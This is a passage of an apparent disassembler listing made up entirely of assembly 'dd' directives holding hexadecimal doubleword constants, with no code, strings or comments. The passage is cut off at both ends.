0AEE581C3h dd 9CF89688h, 460044ECh, 0D256CCB3h, 0EFC07122h, 72352E0h dd 4A8F199Dh, 85F290B5h, 74055C13h, 0D91E6893h, 805E4380h dd 0C5CA071Fh, 0F0AAAB2Fh, 0BF4A326Ah, 0D77E8600h, 45ADE33Eh dd 13CF00A1h, 2694B7DAh, 0BFA3AF6h, 5559A803h, 0DBBA7C15h dd 0A27600E5h, 0A55FDC18h, 0F0029A3Fh, 0F77D897Eh, 1B3A40F1h dd 969D00AEh, 0EE91A17Ah, 83004716h, 305ADE23h, 0D4E26Eh dd 0EADF385h, 6B38E29h, 0FD8F400h, 9C88315Eh, 0D9EC0058h dd 0E4ACFD63h, 72007BEAh, 83C9C60Bh, 40314h, 34C8A462h dd 0FF9C84B3h, 0ED87A900h, 0F2E9E810h, 99AE1F2Ch, 9458C760h dd 3DCDA0B0h, 0A11F1C17h, 7300FF4Eh, 85F8499Eh, 4C8C3ADFh dd 0E0829700h, 3342DE63h, 307ABC00h, 0E52D9DCEh, 0F307038Fh dd 56063631h, 0BF7F6B80h, 0D3765B16h, 0AFEE1500h, 0EF328Eh dd 3C46CF03h, 0B9D1E5E4h, 45225100h, 0CA7ED6BFh, 1DC2008Bh dd 0A44CC310h, 9B00F9F7h, 0D414B319h, 7E6160h, 0EFF3A3B6h dd 2F05039Fh, 0C79DD600h, 0FE1131B7h, 0E5D10085h, 0A2E1F646h dd 88005B39h, 6C242E83h, 1D09BEh, 0D001D120h, 0F3707C7h dd 0D601E8FAh, 6308F7ECh, 98601375h, 0EEA6009Ch, 39C2FE3Fh dd 9500A10Bh, 0E0274228h, 2FAE65h, 0BF7E9297h, 0F070E649h dd 61BC2154h, 83C69B00h, 4066DA48h, 328500B4h, 19338AE2h dd 772E9802h, 1700A41Eh, 94EB89D1h, 22D80069h, 0BB53D90Eh dd 0CF173633h, 0B400BE3Dh, 42BD20B6h, 44F501E0h, 48F4F0EDh dd 0A39AD859h, 0E80022F0h, 8EC3EBFh, 3A55A1A2h, 0D9802507h dd 1528A74Dh, 181CE06Dh, 26044722h, 308011DEh, 7C9B5EC2h dd 8CDD05E6h, 2EEA9Dh, 6907D2DBh, 0D500DC6Eh, 0E13B493Ch dd 71DAA030h, 0CC310C2Dh, 0F5C01F90h, 0F73DBE00h, 822718E9h dd 8D4400F4h, 360671BDh, 88001550h, 396E11BAh, 273477h dd 0B8CF673Eh, 0F6724A81h, 13B7CD0Eh, 0F4E0209Bh, 0E89756h dd 3739D928h, 7898FDB3h, 0F5C48003h, 0D89E14B7h, 185AB077h dd 0D09CFB24h, 727F87BAh, 9D66E700h, 1A3A351Fh, 0A5F90793h dd 0C7EED43Ch, 8FD3B070h, 0E228479Bh, 5900ACE5h, 0DF032467h dd 3D530Fh, 0DBA336DCh, 0E63008BFh, 75334000h, 0BE3B923Eh dd 31933D4Ch, 20E3CD94h, 19020DB1h, 72DA44CCh, 7788F409h dd 29BD00D6h, 143BCBD7h, 8690051Dh, 0A6002D90h, 60C54DEBh dd 585553h, 0BFD50A87h, 743FA057h, 8BEECA1Dh, 72A43240h dd 0F9E9881h, 0B0D97829h, 2593BBA0h, 64900C42h, 87B4030h dd 388FCD18h, 3E003243h, 5B54114Dh, 0B037FD1h, 7A6DFF3Ah dd 0ABC800E7h, 0CD385985h, 0AF307168h, 8F1F60B9h, 0EE4ABAh dd 23F23FF8h, 0D50C093Ch, 0C930670Bh, 1D3FA87h, 0BE6B44D8h dd 80D68EF3h, 8A7AD9B8h, 3CEDDB72h, 0A9155E55h, 0DAC08040h dd 0BFFAFB03h, 76878E46h, 68944085h, 0DA007B10h, 55A5C8F6h dd 28B19311h, 1F002A2h, 0EDB80549h, 60AD8B2Fh, 9104E434h dd 58D937CFh, 58CC14BFh, 0BF147002h, 0F7E3F2FDh, 3981F7B0h dd 224343Ah, 72B63A44h, 0AAC2AFh, 0D99CF280h, 204EE3D3h dd 223BAA08h, 609BFE63h, 0B1909818h, 0F251928Eh, 3F0DE8D0h dd 77E84101h, 0A38AFE3Ch, 1DACCD0h, 0EF53467Dh, 4006C610h dd 7E4ED9DCh, 0B251EB00h, 5C991B6Ch, 8F0516C7h, 3E5807A3h dd 0E4F4A3FDh, 6730F590h, 0D30025E0h, 0D781A998h, 9FBA40h dd 0E741C0FEh, 90A96D8h, 80FC173Fh, 0EF6A18BFh, 63C0DE2h dd 827BC8B6h, 0FC0116D0h, 0D6F3DA92h, 41306FDFh, 0E28D00FBh dd 0A82188B3h, 46005103h, 753E4B6Eh, 7870Ch, 23B549F0h dd 57DD08D7h, 0D2361C1Ch, 0E0BD72C0h, 98D878h, 3A34EEDCh dd 40A041E2h, 803B0700h, 0CF943FBCh, 526A008Dh, 0DA74BB3h dd 33D4FE1h, 1115B098h, 1426A5Dh, 3399D0F1h, 8290EED6h dd 5E6D38C9h, 0C678484Bh, 1AC01CF5h, 7422808Ch, 0CB20A092h dd 0B94CBBF2h, 6DFB00F8h, 2436BDD2h, 27C60067h, 51DE5D96h dd 0BFE40516h, 1B0EC7B0h, 2082B109h, 14780735h, 799A3A41h dd 0FA5B007Ch, 0EE8AC447h, 0DF00BC3Bh, 65B06C6Eh, 0D1331Ch dd 92919F5h, 6A67780Ah, 977FF81Eh, 61A680BCh, 1B74D291h dd 7B6430DEh, 28390A68h, 0B24DEDA0h, 716D45B8h, 41F7819h dd 0EF50CB0h, 57425C07h, 3DD02DDEh, 6EA1A96h, 0C06E7BF1h dd 0E1003173h, 916C8A9h, 7BE361F5h, 4E79021Dh, 159E3A9Dh dd 295234B6h, 3DDEE04Ch, 6A50C09Dh, 0D95C1EB5h, 0FE46F416h dd 96B6DA00h, 1B1C0C35h, 19FB3466h, 367AEBC8h, 84323880h dd 18B7F128h, 8029821h, 2F42E1F9h, 521D1149h, 4BA930h dd 88E11821h, 0E5448D7Fh, 243CA130h, 42E93440h, 8E7814B0h dd 0A2553A18h, 84BC7A9Eh, 78300D19h, 24517391h, 0E4F332D1h dd 18A96E78h, 0FF7D0C85h, 0A2090C42h, 10DA4C30h, 54A0B12Dh dd 21848C41h, 0CC0AE899h, 0BD42904Ah, 370C83D5h, 8148D424h dd 581EBE80h, 814F23D9h, 1891B0C4h, 892154BCh, 50918008h dd 0C60C1A09h, 906E7BA4h dd 2D270000h, 8F92229Ah, 0FE008EB6h, 0A8AE8374h, 7EBBF6D1h dd 0E85C001Ch, 92EB0A70h, 0E509F96Fh, 30F5DF87h, 0C30F24E0h dd 0B307E7E8h, 98E5893Dh, 0E1E88B3Ah, 0B9720076h, 0E97D77EAh dd 0AE0563A7h, 539426ECh, 60A5B040h, 3018C6A9h, 8DA0E602h dd 89C0EF11h, 69AC616Bh, 6DB60071h, 7A3C3EFDh, 14F8F4ECh dd 5677C3Bh, 79A4654Fh, 92F1C78h, 4CCCF79h, 9037BA84h dd 3897FC68h, 910068F8h, 6DAE8230h, 189A2C4h, 5FF5335Bh dd 81F3621Ah, 117DD59h, 8440F2F0h, 0E046AECBh, 8C9301E7h dd 2F946F02h, 0C7D89CEFh, 4680BB03h, 5B500066h, 0EEF0E7A6h dd 14A8B941h, 0E40509B5h, 5BD3D1F3h, 27B0340Eh, 1BC047C8h dd 0E09630E6h, 87401326h, 656C0178h, 6D32C1h, 4F1CFAh dd 0AEEE2D8Ah, 0C028943Ah, 0C8C4F700h, 0CEA00E62h, 0ACB8C4DBh dd 6FDC02D4h, 9E186815h, 84A300B2h, 0BF1A23F0h, 100C579Ah dd 9A45552Ch, 0D62200BEh, 0DF52D5E6h, 80C347AAh, 0A7E0B0h dd 326AF3D1h, 3F05928Ah, 403956h, 0FBAAD4A9h, 255BDFh dd 43AFF4B5h, 0E0C7077Ah, 0AC3B337Dh, 541D04B4h, 54D18C0Bh dd 5CCCAA88h, 1C933CF4h, 3411600Bh, 8FC12403h, 0A0014CEBh dd 0BA33501Ah, 0AFD00268h, 34704074h, 25CF13Bh, 0A8A501D6h dd 4440C856h, 5E21CF77h, 1857B486h, 0B06D5928h, 7C48583Bh dd 94AB7028h, 0C91F410Ah, 0A4C08411h, 12298566h, 3EBE9FCh dd 0FD346A58h, 0FBC72C90h, 6FFEC618h, 92E6418h, 57117DCh dd 91E0BCA2h, 0C137C44h, 8040DAECh, 2F855A24h, 7EE0386Ch dd 0E40A71A2h, 80921680h, 85438800h, 1A55F9Dh, 4B87CAECh dd 50562F41h, 73DF9584h, 0B912E00Eh, 47C580F5h, 0E180DA4h dd 450A297Dh, 0E17AC01Fh, 8584AC06h, 0D3E04B5Bh, 5D04147Eh dd 5C018051h, 0C3DF9A2h, 201DD1CFh, 0F8006210h, 7E138B6h dd 0F6648F3h, 9731C7DCh, 0E30B7823h, 0FB88280Ch, 1326A08Bh dd 5249A13Ah, 890809D0h, 71E688A3h, 225D66F0h, 1CB4F002h dd 48A5A8BAh, 50B10C64h, 0DF59BCD3h, 0FB300604h, 0AF00E8CFh dd 20E19607h, 2BAE7E54h, 8030480Ah, 66677565h, 498620F2h dd 0E9131C42h, 91C4EBCh, 0F53BFA21h, 5A10308Dh, 8AB59700h dd 9D9E400Bh, 0C48004C0h, 8190A444h, 80A2F920h, 733B2798h dd 4C752EFFh, 7809B4E3h, 10984A32h, 0D5007DC6h, 377983F2h dd 43B69A0h, 0F00C382Eh, 216C8044h, 892D00Bh, 0AF422700h dd 9DF534D1h, 0C68A1EE8h, 0C024E60Fh, 61EC95E5h, 7625D0Eh dd 1702E013h, 606EC2DBh, 88919885h, 0EF00873Ah, 9B600E2Fh dd 38EC4972h, 0A8CC0A7Ch, 0C47A29A0h, 3360FE41h, 24767768h dd 0E0507998h, 0F166B9D6h, 9377431Fh, 5B024828h, 0FFCE893Bh dd 0A15CE8E2h, 0EDA800ADh, 0BBDEC39Dh, 2424FD48h, 3BB446h dd 0D070CAC1h, 0B01D7634h, 0EBED0E44h, 7016544Ch, 7025DA48h dd 591B61Eh, 0B04AF4C0h, 3BEFD9h, 0AEEB365h, 0BC79A34Dh dd 2803F14Ah, 35216E0h, 1F32A5B1h, 0E801F54Bh, 8766423Dh dd 0EC40B254h, 50276109h, 116F883h, 0D8D11137h, 8375E134h dd 70D7F5A8h, 0DE2000F7h, 0D2723989h, 0CAE6E89Ch, 0AF18D400h dd 0A2693506h, 0AA30D311h, 1C20EB15h, 2A07A87h, 97EE805h dd 344837F2h, 0FB40C361h, 0A32C00AFh, 0F392F848h, 0C8BA4A18h dd 0A003D4F6h, 685B9F90h, 0B9C2D1D3h, 73F29981h, 42BB39A2h dd 6027B08h, 48EB3174h, 0C83C1010h, 1DE01FE1h, 0F1417600h dd 18EF63B6h, 79F8E7B3h, 22002914h, 0ED869ECEh, 670C8Dh dd 2711513Fh, 0F0946D02h, 9FAD3E00h, 0E6CE4F3h, 50289419h dd 0E51360BFh, 1853FCD2h, 526E4801h, 0A041ED01h, 0E8E26F18h dd 84BC7Ch, 0E1DD6183h, 0BDFC147Eh, 0E92B5C12h, 72D95C01h dd 7C227D6Ch, 78A0017Eh, 61548D8h, 0C175D845h, 8B0F3E04h dd 208A5AC7h, 413A7A10h, 3005EDC8h, 0B57F3D00h, 680F3639h dd 3BD0B0h, 159EB3AAh, 2EF1B169h, 1849093h, 9CAF673Fh dd 41D88128h, 55A784C1h, 0C1A877C8h, 787AD751h, 5E7BECE7h dd 0BA180878h, 9210E63Bh, 3E210035h, 74CFFBEh, 0CF54F909h dd 0A47A2630h, 10CEB0C9h, 5A0510h, 3A3D3308h, 1D3B6459h dd 721A4B03h, 0E02473B6h, 48194420h, 6900D079h, 0B90FF50Bh dd 0A3B0B368h, 0A0EF60Fh, 0CF8B0226h, 0E08E40E6h, 339A15FEh dd 9300D821h, 28E3EE0Dh, 150243ECh, 13347C73h, 86E9609Ch dd 0F8C305DAh, 0A8AE308h, 24E97DA8h, 0B5E00094h, 1D1C593Bh dd 30961AE6h, 6948C95Ch, 1333A8Eh, 0F6E12434h, 0E022A8h dd 0EBC475B4h, 79518DAh, 60237C9Eh, 80EA169Dh, 0E421D200h dd 5262F602h, 0E8A90046h, 17C56EEh, 81C67E2h, 0FA033F2Eh dd 0A06B72CFh, 0E8FD83Dh, 0A1245248h, 0B1DEC560h, 30DD0634h dd 868A1B00h, 426491h, 0AC94FF03h, 0AF890573h, 6BEAC31Dh dd 409B2D0Eh, 6625C592h, 0C8730055h, 0FD513EEBh, 900091EDh dd 1EAF2396h, 5B9825h, 0BFDE08F9h, 1B262B67h, 0ADA7A501h dd 0B7A39A70h, 60BC90C4h, 292B802Ah, 0A73FCB80h, 0D383002Eh dd 0BDAA6EA4h, 0AE1500E9h, 526F8EA5h, 9D2C73EFh, 690015A0h dd 2E0D283Ch, 641402D6h, 0DFDD267Bh, 0A7873881h, 9790D843h dd 0E400BC42h, 0AD2B6099h, 8700C90Ch, 196F11FCh, 12F2D50h dd 41F6A5EDh, 4AD08C57h, 0BFD58728h, 7BD040A8h, 5003311h dd 368AC79Eh, 0F7FEB40h, 0AF02062Bh, 9868AD80h, 37A70E1h dd 8B9A08C3h, 159BB027h, 0DF64000Ah, 0F777D074h, 0EC00DC30h dd 0DE7652AEh, 0C8FF13h, 59514027h, 287E4B0Eh, 89581702h dd 8770E4D4h, 0CF30E934h, 22EBC9F7h, 0C2001ECh, 1297389h dd 377D400Ah, 704D26F4h, 5C0A6AF8h, 0C807727Eh, 9780F11Eh dd 9842FBE9h, 31120392h, 0F28278F9h, 87578000h, 9EE065DBh dd 0FAD7182Dh, 7DD23824h, 0FD414400h, 25E92E31h, 3849121Dh dd 0C7340020h, 0A3329FEEh, 758C1C00h, 787E85BEh, 20266066h dd 0C5295CF6h, 0F27A0800h, 9DF0C3BCh, 0BB2D011Fh, 18376798h dd 89884086h, 7E60DC16h, 0AA4B35F0h, 441F488Fh, 0F77B7500h dd 0A74A2395h, 47E220C0h, 0E0E916h, 0E6DEE887h, 4AD01EB4h dd 536D44h, 0C7EE814Eh, 79F6691Dh, 0A5DF3E0Fh, 78DBE068h dd 5007DEh, 6C563CC0h, 1C5E6F80h, 59ABD909h, 29042184h dd 34C8FE25h, 811A3191h, 27D7D8h, 3B9F7D67h, 139F66BDh dd 0CC59802Dh, 9A6F889Ch, 0C4150100h, 718955E2h, 2E4A6D6h dd 6E1C057Ah, 0E816EA50h, 0D204007Fh, 8F6652FAh, 0E924E44Eh dd 1828C84Ah, 456901Fh, 0F315B87h, 4EFECE10h, 0BE40707h dd 40E53BA2h, 328D873Eh, 0CE00AF7Ah, 0B1D1EEEBh, 1D487EEDh dd 7F2131h, 0F566F3A5h, 4C18A17Bh, 0D1502869h, 3670449h dd 210A1A37h, 2D0081F4h, 0C001693Ah, 46354B44h, 98308306h dd 3845778Fh, 118B4F0Bh, 3FF69A9h, 0F01C6829h, 1FCBD192h dd 806467E5h, 15C84843h, 5A603045h, 0B517C420h, 1A78009Fh dd 40E3356Ah, 311D1DFCh, 5C40296Fh, 0B7751EBAh, 0AF362CF4h dd 1ACB0033h, 83AEE2C5h, 859DBB00h, 467E0B06h, 68AD54D7h dd 8D7808C6h, 0D6C23F1Ch, 0F0CE0188h, 10E4F469h, 0AEB7DB00h dd 0BADA9566h, 6C516021h, 98017213h, 34544600h, 91EAD64h dd 21C7E6Fh, 0FB3B49E6h, 60412ADCh, 53F520D2h, 99D83560h dd 1B48E3h, 0A6BEBB1Dh, 0D38B0B50h, 8063E23Eh, 79DD023Eh dd 24263A69h, 2323FD9h dd 0AEC6D4C0h, 3A5560A0h, 90212A51h, 0C8D79513h, 7837C900h dd 1410BBEEh, 4106AB00h, 485CCC38h, 0FEC003Bh, 86DA12A8h dd 0E6001A16h, 9D266DABh, 89DDE0h, 70A18A91h, 0DE3CCF25h dd 0D992EA00h, 2E9A79FEh, 6190008Bh, 0CCAEC494h, 0D3030858h dd 85706ACFh, 901A8854h, 0BCF700C0h, 0BA63AC4Eh, 20C0D2CAh dd 84C316F3h, 0E0C82E92h, 80A21D8Ah, 0F94CDEE6h, 4B00D80Bh dd 0BFECE796h, 0CD9E305h, 0D36373A8h, 2206DAB8h, 0DC2081Ch dd 7D500070h, 7BE5412Dh, 4F319410h, 225708C5h, 0FA27081h dd 0D911542Ch, 90B0DCF4h, 0D68EED0Fh, 0F231E025h, 6009F0AAh dd 0BA7E31EBh, 97008502h, 0AE518B92h, 9A36Dh, 6CD696D0h dd 668363B0h, 0C08C40E7h, 221850D7h, 4A107303h, 8D589559h dd 856B5400h, 871C7B9Ch, 0D7A4A84Fh, 5DF814h, 2E22AEC0h dd 858DE2D8h, 55055B0Ah, 0BB1D90CCh, 0A80E6B0Ah, 12C3DF61h dd 86F237F4h, 5421D160h, 1A8552Fh, 51929F8Fh, 0C866EE4Fh dd 9C02B4ABh, 0E452911Fh, 0A1876019h, 3AFF00F3h, 0FA7D7307h dd 0AE7DE7C2h, 1DF2023Eh, 5280B342h, 22AB10E2h, 0AAD300CAh dd 1E3017C1h, 0D7002A04h, 2EC4C7Ch, 3C55FC7Dh, 9A8EF9B6h dd 1E60C79Fh, 0E5A43C37h, 82084460h, 7D940Fh, 8D86D6CBh dd 6FC2D046h, 7181E00h, 3D498742h, 0B49F00E5h, 564B5234h dd 0A1008375h, 231BD3E0h, 0F88DDCh, 2976E4D0h, 5B2A59F7h dd 926BFA00h, 3C557F1Dh, 0F6EB0018h, 62D7D6DEh, 0C604FDCh dd 0C2413B20h, 0C4D7D7Ch, 8252B719h, 5CFC4018h, 1A0EE700h dd 3AEAE310h, 9F4705C7h, 0E49CBAh, 89FC6B8Ch, 0C51423CFh dd 174564Eh, 55B15398h, 0BF0C3D90h, 0E6BA9B40h, 7C510053h dd 0A62EEDE8h, 577D9F60h, 0EEFA21C0h, 0D171C0h, 0CA1D47C6h dd 19D827EBh, 0B4C7EC07h, 2330BCB7h, 0A831DBF7h, 7FD16574h dd 0E0DA68EBh, 0B6C1174h, 54473Dh, 0E81F9EB6h, 0EC7194h dd 0CEC3C690h, 743F194Ch, 87A3073Bh, 471A8B4Eh, 39FEB01h dd 0CA438880h, 19D7646Fh, 8030E801h, 9C890508h, 3C5E8C40h dd 7368CAFDh, 13215EC0h, 742E80FDh, 0B7FE6F3Ch, 33BC2D0Ch dd 0E3D2080h, 1F525685h, 9502DA42h, 0F1979082h, 19A34C48h dd 4EEA4FFCh, 7CE96948h, 60D7FE00h, 5D156DE6h, 598C1E79h dd 7F064F7Eh, 0BF1E1B60h, 75196BE7h, 2748E253h, 0E9D9ECh dd 74F2A946h, 397F561h, 0ACCC3900h, 63904425h, 8B95013Bh dd 38D17D09h, 0A9F5C80Bh, 8E5B7A00h, 28B2944Ch, 0AFA800D7h dd 0FEF23598h, 0C3077D06h, 9C5A7ED2h, 52302CA0h, 557212D3h dd 206C1468h, 0D4A9281Ch, 67D9895h, 0CD757ECh, 7131707Bh dd 8935085Dh, 0FB98840h, 14290158h, 42C8BAC3h, 1EB822D4h dd 0C4058CE2h, 8E80F106h, 0E1F3D8h, 1D7FB01Fh, 0CB492621h dd 8C001BE6h, 0BAF82335h, 38AFF48Fh, 6CC888C7h, 0C8CBE000h dd 0D90A8678h, 5104FF13h, 81BEB40Dh, 4CE3F760h, 290165A9h dd 9F1713D1h, 4C23EDh, 0B58A84CAh, 502FF522h, 1C0D1C74h dd 8090F877h, 9442A731h, 0E8489A19h, 75F68130h, 28228AFBh dd 941D2D22h, 0D4284D64h, 0F839A60Ah, 30A4F4C3h, 9B4674h dd 5E5580DDh, 786AFFh, 0AC7C506h, 282306Eh, 4A56AE05h dd 0C820E409h, 435582Ah, 1139CB5Dh, 444B7073h, 0DEF658h dd 0C7F9D49Bh, 950C1FC1h, 0EC008898h, 0D56A2D7h, 1D16FD48h dd 77CF88Fh, 9928C64Ch, 0A56B4010h, 0ECD42C00h, 0BC331AD5h dd 8F0C1D3Fh, 6F5280DCh, 0F25A60D0h, 0F778CA07h, 6F7485h dd 3E1EBE28h, 86A430A6h, 0CB0408B0h, 0EABA50C0h, 62A81Ah dd 80B0A1A0h, 0D3CF36D2h, 60909F00h, 64F26F33h, 18A800FFh dd 0ABBDC7E8h, 0B303E974h, 390806C5h, 95EED04Dh, 0FB7C1CD5h dd 6FC940ACh, 0C206E303h, 0E45E3500h, 0D4C8ECBAh, 36540007h dd 7D264E55h, 0F7B6F62Ah, 9B1CDC00h, 1EA43ACAh, 7AFCCEFh dd 0F13F07h, 668C7654h, 0B9C36F00h, 9DCD6B62h, 412002Eh dd 40C50758h, 99000696h, 54E79E33h, 7DB810Fh, 5FC6FEE2h dd 0B8F82027h, 6C393BC5h, 169F014Ah, 608D2B0Fh, 0CDAE80CAh dd 174057h, 0D59E91CBh, 68FB5D9Ch, 0FA0FF8E0h, 0A703A1h dd 0FFCDFDE2h, 170C00A5h, 4D68B09h, 6100E35Ch, 921EFA2Ch dd 1E50472Eh, 0C0C16DBAh, 14F3D94Eh, 0B500CDD2h, 91BFDFAEh dd 768063h, 39FC7096h, 7B8D262Fh, 0CB5A3Bh, 13F45F5Ch dd 0EE30AD0h, 0DC56229Dh, 42D1EFE0h, 691C061Bh, 0AF8078BBh dd 858BE22Fh, 0BFEE007Dh, 0D62B67B6h, 0F3037415h, 4531FAB8h dd 5759D0E1h, 6CCE00EEh, 94C601ADh, 96034115h, 5B0E3B7Dh dd 0F27F90D7h, 9B5A1269h, 9A801F9h, 2539C8h, 3AD87A5Ch dd 0FC800DCEh, 6FC6E59Ch, 470E8202h, 0FF3CBAh, 5B01AE2Fh dd 0F5910064h, 0CBE54BC0h, 0B1271AB4h, 0E2BF09Ah, 0D3D4F90Ah dd 0C4234100h, 9DE62B7Ch, 0F7F3CC00h, 0AD98DD60h, 15FEE4h dd 8D7C68E7h, 0B36597BEh, 599F8400h, 5C745AD7h, 0E34900A8h dd 900EA74Ah, 0AC0460ABh, 44D29913h, 4DFA81EAh, 1645F885h dd 0D7B01A00h, 0F8C5728Ah, 5B5D00C8h, 231CD0F5h, 25007BCBh dd 1F0A9A52h, 0AB2D59h, 0A76C793Bh, 0DB0604A8h, 2584F400h dd 0CBA4531Eh, 0D0A3008Bh, 7930190Fh, 0B1239F6h, 7009ABCCh dd 6280F532h, 80123BD1h, 4F4C3F1Ch, 494B3A00h, 0B838E44Eh dd 0B60C00F2h, 0F2FBD514h, 0E3EEDF7Ah, 66DDA700h, 0A41A976Dh dd 625800CFh, 94D8297Eh, 590E5BFBh, 0A080B464h, 501AA5EDh dd 0BCC123Ah, 0F9E20EB1h, 0CF6C6901h, 0FA488088h, 43CC2656h dd 189F00D4h, 0CE7AB753h, 470458A9h, 277FBDC0h, 0B90F3AC1h dd 111DF8E7h, 5F653F4Eh, 148DAB80h, 0DF2F999Bh, 0B1007CE0h dd 226A529h, 12493A5Bh, 109D25h, 17CA7657h, 507A1B0h, 0ADD13C0Dh dd 6EDDD3C1h, 0CB42C4h, 0F6BE0E59h, 1CFF178h, 0A25A6503h dd 0F8643A7Fh, 91CAE1h, 2C049A77h, 3FEB1B8Fh, 0D59648h dd 0F22870E4h, 0B05011h, 0F58E410Eh, 3AE5B99Ah, 83F41D00h dd 5F6F6AA4h, 889B0087h, 0B55DBF0Bh, 780FC252h, 0E2C8DF21h dd 44B7637Eh, 4E1005Ch, 0B229B8B3h, 33005B70h, 8EBE209Fh dd 91CD75h, 6A95B614h, 0FCCE05C5h, 0FAF2700h, 0A064BEFFh dd 84E3009Eh, 2E2CF51Ah, 600289BBh, 98DBF291h, 0ACF66179h dd 283EE4h, 0E5BA27D2h, 7EA44ACEh, 0A02DCB00h, 92ED1780h dd 7A9A0176h, 0BF822F72h, 7ECE45Eh, 69D6A605h, 21C039DCh dd 0F268A57Eh, 1BC6003Ah, 6B87D452h, 920188F2h, 0F3FF3906h dd 0C76FED7Ch, 8C298086h, 0A05C33CEh, 0D6A81F4Ah, 6BC817C0h dd 1557D38h, 5B0D068Eh, 61B4B835h, 3952EC47h, 0C83E6500h dd 31046A13h, 0B6532636h, 17BD057Ah, 0CB5180AFh, 3C005190h dd 7E02332Ah, 70BFBB3h, 44637B89h, 0A717305Eh, 9B7835D7h dd 5BD15600h, 882192BBh, 1B9300FFh, 5F0F2CF1h, 2490A4DAh dd 4A5A0702h, 0E0DB0E9Fh, 1227EEF8h, 0D52405h, 0A41F5E4Dh dd 56001A46h, 0C24B2D3Eh, 29A104h, 28B07E3Dh, 55835289h dd 80767438h, 6F3C273Ah, 3F1B370Fh, 0A2814075h, 6C9D0487h dd 8995DC5Bh, 0D4071D01h, 9782FF71h, 8ADBFCh, 0F3DF267h dd 0CE426F68h, 0B2314007h, 8E50ACB8h, 0DFD898h, 0E8ABDEC2h dd 0C4610E92h, 99A3A802h, 0C3CA0156h, 0B9BEC0D2h, 0F86D00C9h dd 228B54F5h, 0CC7D7367h, 811F83E8h, 2F80CF2Ch, 8528411h dd 0E44314EEh dd 3C01C7B6h, 15B9C067h, 1236F009h, 63BC0C00h, 0C3D36B37h dd 3BD200E5h, 8FA67708h, 430E4C51h, 40F604F4h, 2BB88CD3h dd 2146007Bh, 0CBED0FAh, 0B11D0AE3h, 0EA003F15h, 847E2B5Dh dd 796B0083h, 724686F7h, 0BB001E73h, 0B3DCCC21h, 0E515681h dd 0AED9CB71h, 6896940h, 0D800FF79h, 294F1F3Ah, 91DECC4h dd 9F7110BBh, 2F858400h, 83E04A7Fh, 43859750h, 5907DA71h dd 0E15C5BC2h, 0F3CEAB80h, 0C88D07A7h, 7031FE45h, 0E32BB4C5h dd 720CDF01h, 16C6DDCh, 333A20h, 953DED0Eh, 0D44BE366h dd 0AE75E20Eh, 2A003C9Eh, 52EE626Dh, 10711DD1h, 84940C25h dd 430FDA21h, 0A18E63B3h, 52FDF3D3h, 18D7DEDCh, 50CD6ABAh dd 6DFC299Fh, 0F91AC1C0h, 0BA4479h, 0CE57AE23h, 88E0AB0Ch dd 0A80AB200h, 736EF2B1h, 81690087h, 0AE18CA43h, 96603148h dd 4CF3C6A1h, 14340F64h, 80C9B385h, 2928F50Ch, 0C3F0AC06h dd 18716061h, 898065B0h, 5314F667h, 0E254E5D1h, 74E8141Bh dd 48D5D300h, 1CE49112h, 1DA00021h, 1F98B331h, 3900B24Ch dd 0E70EB7D7h, 1EC5B9FCh, 442F44D8h, 0C0144713h, 0B4B00360h dd 0A636F100h, 0B1487F12h, 0E6BE809h, 0C49EA22Eh, 440A8540h dd 54006704h, 28FA892Fh, 0F05307EBh, 6EF000E3h, 9D4584AEh dd 920077AFh, 0D3E6A3B2h, 0C79524Bh, 0E0A063D2h, 0B148DD9Eh dd 786B8018h, 3AC3B5Eh, 3C9BAE8Ah, 2BA0AFE8h, 0E3009F87h dd 4C6A8E74h, 0F42730Ch, 574FB321h, 40B4B985h, 5FBC9FB8h dd 0DA390386h, 5BE08B6Ah, 0A90781E7h, 1440673Dh, 44B3FFh dd 9BB13461h, 15BEFC35h, 0AA0075EEh, 0A1904BE0h, 3B1C7939h dd 7280FF2Dh, 9EA8EEBBh, 5115DE2Ch, 0BC9CE240h, 948C3B08h dd 18901Fh, 12AE2CA1h, 0D13BE243h, 384280EEh, 5D4F7026h dd 463603C8h, 0C1371907h, 6E6204F0h, 9F004D79h, 85BB5DC6h dd 72ACCA5h, 4B874864h, 0B4F2803Ah, 0D400CB9Dh, 0C320D87Ch dd 0E078B932h, 39050002h, 74AFF804h, 400047F4h, 0B4E168A9h dd 7F7D8D5Ah, 708E215h, 0EFC39EB1h, 86AA30BCh, 27F20A4Dh dd 0D43DF800h, 0FC224964h, 526D00B1h, 0AA5A3CD5h, 0A900EB42h dd 603AF82Ah, 0E64266Bh, 0F189CC4Ch, 0AD0644A1h, 1D9CC23h dd 1D0558h, 9BD07BECh, 0E1C1BDh, 0E8CCBB29h, 0ED213944h dd 8312A82Ch, 0F8C3300h, 786F1DCAh, 0CE5C007Ch, 89C5ACE4h dd 3003D625h, 2B2452BFh, 0E5E6F82Ah, 0A9F90058h, 1E4E0935h dd 550092FCh, 0A41CAD2Dh, 0F6121Fh, 0CBA961F7h, 0BFE7C4C1h dd 0DCFA2900h, 87BC9820h, 7F7FA0h, 0E2BDCC50h, 999FED6Fh dd 0C806EE03h, 0A020B785h, 589571h, 0D6B9DAEFh, 57362AEBh dd 62D73300h, 133C5DE7h, 0F1A001F8h, 88A5EC44h, 0F2EE4DFh dd 8A76351Eh, 621DAE00h, 0C4AC11h, 0A1A7A827h, 0A944E5DBh dd 0C0257507h, 40DC7B8Ah, 6ABB0E2Ah, 0D180BD5Eh, 0EDA299A5h dd 0B437CB00h, 0DA583470h, 0F1B90007h, 0AAA9FD31h, 0A5030182h dd 5E2A027Bh, 9C88007Ah, 51A36576h, 453CB4DCh, 10E7005Ah dd 53C066D7h, 0DEFA1CA9h, 0B7BB0091h, 1A9B1EBFh, 0D8CEED00h dd 97A811BAh, 4E2D006Ch, 969395A0h, 5100B04Ah, 72C803AAh dd 723269E8h, 71562EF6h, 2E2B00F3h, 39B4A019h, 313B4EF8h dd 612C00D8h, 34922F12h, 3BD5007Fh, 3C0F5E1h, 0BE481146h dd 0B2F20068h, 0FAA458EBh, 7C1A00EAh, 27744BDBh, 5F003682h dd 655DE8E9h, 12A00Dh, 20C3F529h, 529E15E3h, 0B7B04200h dd 4BE5884Ch, 62D3001Eh, 2858D547h, 2C00A44Eh, 66B391F2h dd 0E93D8A95h, 0FE11A03Ah, 0D07F03E2h, 42309200h, 812A982Eh dd 0D24300FDh, 86AE3C17h, 1A01E913h, 7A8A1B9h, 7560C977h dd 503500FCh, 906E3F0h, 710060D7h, 0C9CE201Ah, 5918E5h dd 8E6BF62Ch, 8558EEEBh, 0CA9F4D00h, 756AB012h, 0C784024Eh dd 0B62F1B24h, 86E74160h, 0D680A303h, 0A04DAB59h, 0BBDD9Ah dd 